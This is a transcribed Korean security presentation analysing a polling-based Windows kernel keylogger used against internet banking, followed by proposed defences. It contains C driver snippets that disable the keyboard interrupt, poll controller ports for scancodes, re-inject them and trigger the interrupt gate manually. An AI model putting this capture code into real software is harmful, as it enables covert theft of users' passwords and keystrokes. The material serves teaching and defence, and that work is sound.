Microsoft PowerPoint - polling.pptx

Similar documents
(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

슬라이드 1

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

untitled

SRC PLUS 제어기 MANUAL

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202834C1D6C2F7207E2038C1D6C2F729>

T100MD+

[8051] 강의자료.PDF

Microsoft PowerPoint - es-arduino-lecture-03

hlogin2

슬라이드 1

KEY 디바이스 드라이버

강의10

Chapter #01 Subject

CPX-E-EC_BES_C_ _ k1

CANTUS Evaluation Board Ap. Note

-. Data Field 의, 개수, data 등으로구성되며, 각 에따라구성이달라집니다. -. Data 모든 의 data는 2byte로구성됩니다. Data Type는 Integer, Float형에따라다르게처리됩니다. ( 부호가없는 data 0~65535 까지부호가있는

°¡°Ç2¿ù-ÃÖÁ¾

untitled

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

2009년2학기 임베디드시스템 응용

Microsoft PowerPoint os2.ppt [호환 모드]

1217 WebTrafMon II

PowerPoint 프레젠테이션

untitled

6주차.key

02 C h a p t e r Java

CPX-E-PB_BES_C_ _ k1

Microsoft PowerPoint - 부호기와 복호기.PPT

untitled

MR-3000A-MAN.hwp

API 매뉴얼

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

PowerPoint 프레젠테이션


PowerPoint 프레젠테이션

프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어

K&R2 Reference Manual 번역본

Chap06(Interprocess Communication).PDF

MicrocontrollerAcademy_Lab_ST_040709

10.

PowerPoint Presentation

UI TASK & KEY EVENT

Microsoft Word - DTM-M300_Spec_V1_0.doc

API 매뉴얼

10주차.key

Microsoft Word - FS_ZigBee_Manual_V1.3.docx


PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

untitled

Microsoft PowerPoint - 30.ppt [호환 모드]

PowerPoint 프레젠테이션

untitled

슬라이드 1

PowerPoint 프레젠테이션

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

11 템플릿적용 - Java Program Performance Tuning (김명호기술이사)

9

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

Microsoft PowerPoint APUE(Intro).ppt

PowerPoint Presentation

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202834C1D6C2F7207E2038C1D6C2F729>

목차 1. 개요 USB 드라이버 설치 (FTDI DRIVER) FTDI DRIVER 실행파일 USB 드라이버 확인방법 DEVICE-PROGRAMMER 설치 DEVICE-PROGRAMMER

PowerPoint 프레젠테이션

Embeddedsystem(8).PDF

Microsoft PowerPoint - T1 ERS (Elevator Reservation System)SASD2.pptx

1. GigE Camera Interface를 위한 최소 PC 사양 CPU : Intel Core 2 Duo, 2.4GHz이상 RAM : 2GB 이상 LANcard : Intel PRO/1000xT 이상 VGA : PCI x 16, VRAM DDR2 RAM 256MB

<B1E2BCFAB9AEBCAD28C0CCB5BFBCF6295F F6F6B696E672E687770>

lecture4(6.범용IO).hwp

MPLAB C18 C

DIY 챗봇 - LangCon

Index

Microsoft PowerPoint - ccs33_bios_PRD.ppt [호환 모드]

일반적인 네트워크의 구성은 다음과 같다

13주-14주proc.PDF

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A634C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

C# Programming Guide - Types

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2

11강-힙정렬.ppt


untitled

목차 제 1 장 inexio Touch Driver소개 소개 및 주요 기능 제품사양... 4 제 2 장 설치 및 실행 설치 시 주의사항 설치 권고 사양 프로그램 설치 하드웨

chapter4

public key private key Encryption Algorithm Decryption Algorithm 1

/chroot/lib/ /chroot/etc/

ATmega128

PowerPoint 프레젠테이션

MAX+plus II Getting Started - 무작정따라하기

Microsoft Word - Automap3

SMB_ICMP_UDP(huichang).PDF

제20회_해킹방지워크샵_(이재석)

4. #include <stdio.h> #include <stdlib.h> int main() { functiona(); } void functiona() { printf("hihi\n"); } warning: conflicting types for functiona

Section 03 인터럽트활성화와인터럽트서비스루틴연결 34/82 장치에대한인터럽트설정과활성화 내부장치에대한특수레지스터존재 장치의특성을반영한동작설정용또는상태관찰용비트로구성 인터럽트사건의발생패턴을설정해야함 인터럽트활성화비트를 1 로셋하여, 인터럽트발생을허락» 전제, 전역

휠세미나3 ver0.4

Microsoft PowerPoint - 알고리즘_5주차_1차시.pptx

hlogin7

0.1-6

Transcription:

지현석 (binish@home.cnu.ac.kr) http://binish.or.kr

Index 이슈화된키보드해킹 최근키보드해킹이슈의배경지식 Interrupt VS polling What is polling? Polling pseudo code Polling 을이용한키로거분석 방어기법연구

이슈화된키보드해킹 키보드해킹은연일상한가! 주식, 펀드투자의시기?!

최근키보드해킹이슈의배경지식 Vector interrupt VS polling 인터럽트가발생했을때의원인을판별하는방식 Vector interrupt CPU 가하드웨어적으로변화를검사 처리속도가빠르지만제한된수의인터럽트만가능 polling 프로그래머에의해입력핀혹은값을계속적으로검사 우선순위조정이가능하지만처리속도가느림

최근키보드해킹이슈의배경지식 What is polling? step 1) IR(Interrupt Request) 및 DONE 값을 1 로설정 step 2) CPU 인터럽트처리루틴에의해현재상태보존및 polling 수행 각장치의 DONE 값이 1 인가확인 step 3) 최초의 DONE 값이 1 인장치의인터럽트처리수행 IR 및 DONE 값을 0 으로설정 step 1 step 2 step 3

최근키보드해킹이슈의배경지식 Polling pseudo code i/o 를계속검사 ( 키보드컨트롤러 0x60, 0x64 port) 검사해야할 i/o 가늘어날수록시스템의전체반응속도가저하됨 매번불필요하게모든검사를해야함 코딩이쉽고몇개의 interrupt 를구현할때는좋음 while(1) { if( 종료조건 ) break; if(io1) 처리해야할일 1(); } if(io2) 처리해야할일2();

Polling 을이용한키로거분석 동작과정 Keyboard Interrupt disable 0x64 polling if OBF up, read 0x60 0xD2 scancode Interrupt gate firing 0x60 polling again.. polling! Kernel Mode User Mode Keyboard Hardware 0x64 0x60 Keyboard Controller Keyboard Driver Internet Banking (IExplorer) Keylogging! g OBF field monitoring

Polling 을이용한키로거분석 Keyboard Interrupt disable dsabe Keyboard Controller 의 INT(Input Buffer Full Interrupt) flag 를 off! kccbyte = 0x46; // disable KIE bit while((read_port_uchar((puchar)0x64) & INPUT_BUFFER_FULL)); WRITE_PORT_UCHAR((PUCHAR)0x64, 0x60); // Write KCCB while((read_port_uchar((puchar)0x64) ) & NPUT_BUFFER_FULL)); FULL)) WRITE_PORT_UCHAR((PUCHAR)0x60, kccbyte); Keyboard Controller 에서는, 0x20 command read the internal control byte 0x60 command write new internal control byte (next byte sent to port 0x60 is the new control byte)

Polling 을이용한키로거분석 0x64 064polling while (!KeReadStateEvent(&pdx >kill)) { if(kegetcurrentirql() == PASSIVE_LEVEL) { // Keyboard controller로어떤값을보내기전에안전한상태인지확인해야함 (0~0xA0000번수행) // 0x60 port를통해control byte를읽고obf 일경우0x60 port를통해scancode 값을 data[0] 에반환 if ((data[0] = ReadOutputBuffer(&data[1], &pdx >kill)) == 1) break; if (data[1]!= 1) { if (pevent) KeSetEvent(pEvent, 0, 0); // scancode를 0xD2 command(write keyboard buffer) 를통해generation 수행 if (GenerateScancode(data[0])) DbgPrint("inp :: GenerateScancode() Timeout"); // Gate Firing A Keyboard press event emulator // // // INT instruction // // 0xCD imm8 Interrupt vector number specified by immediate byte. // engine[1] = (unsigned char)inpgetkeyboardinterruptvector(); ((void (*)(void))engine)(); // < Execute _asm INT InpGetKeyboardInterruptVector(); } } } KeDelayExecutionThread(KernelMode, FALSE, &delaytime);

Polling 을이용한키로거분석 if OBF up, read 0x60 060 0x60 port 의 data 가 mouse 일경우 MOBF & OBF up! 0x60 port 의 data 가 keyboard 일경우 OBF up! Thus, OBF 가 up 일때 MOBF 가 down 이면 keyboard data 임을알수있음 for (count = 0; count < 0xA0000 &&!KeReadStateEvent(kill); count++) { dummy = READ_PORT_UCHAR((PUCHAR)0x64); if ((dummy & BUFFER_FULL) == OUTPUT_BUFFER_FULL) { } ret = READ_ PORT_ UCHAR((PUCHAR)0x60); ); // Read break; } // delay 를주는이유는 polling 처리속도가너무빨라서, // CPU( 약 99%) 를모두점유해버리는문제점때문이다. KeDelayExecutionThread(KernelMode, FALSE, &delaytime);

Polling 을이용한키로거분석 0xD2 scancode code Parameter written to input buffer as if received from keyboard. int count = 0xA0000; while( count > 0 && (READ_PORT_UCHAR((PUCHAR)0x64) & INPUT_BUFFER_FULL)); if (!count) return 1; WRITE_PORT_UCHAR((PUCHAR)0x64, 0xD2); // Generate a scancode count = 0xA0000; while( count > 0 && (READ_PORT_UCHAR((PUCHAR)0x64) & INPUT_BUFFER_FULL)); if (!count) return 1; WRITE_PORT_UCHAR((PUCHAR)0x60, scancode); // Put a Value // wait until drain while(!(read_port_uchar((puchar)0x64) & OUTPUT_BUFFER_FULL));

Polling 을이용한키로거분석 Interrupt gate firing polling 이기때문에직접 interrupt gate procedure 를수행해야함 Keyboard 의 Vector 값을알아낸후 int ox93(default WinXP) 수행 static unsigned char engine[] = { 0xCD, 0x00, 0xC3 }; // int xx, ret... engine[1] = (unsigned char)inpgetkeyboardinterruptvector(); p ((void (*)(void))engine)(); // < Execute _asm INT InpGetKeyboardInterruptVector();

방어기법연구 선점형방식을통해먼저 Polling 수행 다른 Polling 이일어나지못하도록막음 Polling Disable 설정 HOWTO? I don t know.. Garbage 이용 실제 Keyboard data 를구분하기어렵게하기위함 역으로실제 Keyboard data 를구분하는방법은? My simple idea 단순히 Keyboard Controller 의 INT flag 를 checking 하는방법 테스트결과 선점형방식 과유사한것같음 그런데웬지뭔가꼬여서 (?) Keylogging 이제대로안되는것같음 :(

방어기법연구 Keyboard controller o control o byte checking if, INT == off? set to ON! kccbyte = 0x47; while((read_port_uchar((puchar)0x64) & INPUT_BUFFER_FULL)); WRITE_PORT_UCHAR((PUCHAR)0x64, 0x20); check = READ_PORT_UCHAR((PUCHAR)0x60); if(!(check & kccbyte) ) { DbgPrint("Oh my god! Keylogging using polling has installed\n"); while((read_port_uchar((puchar)0x64) & INPUT_BUFFER_FULL)); WRITE_PORT_UCHAR((PUCHAR)0x64, 0x60); } while((read_port_uchar((puchar)0x64) & INPUT_BUFFER_FULL)); WRITE_PORT_UCHAR((PUCHAR)0x60, kccbyte);

Thanks Question & Answer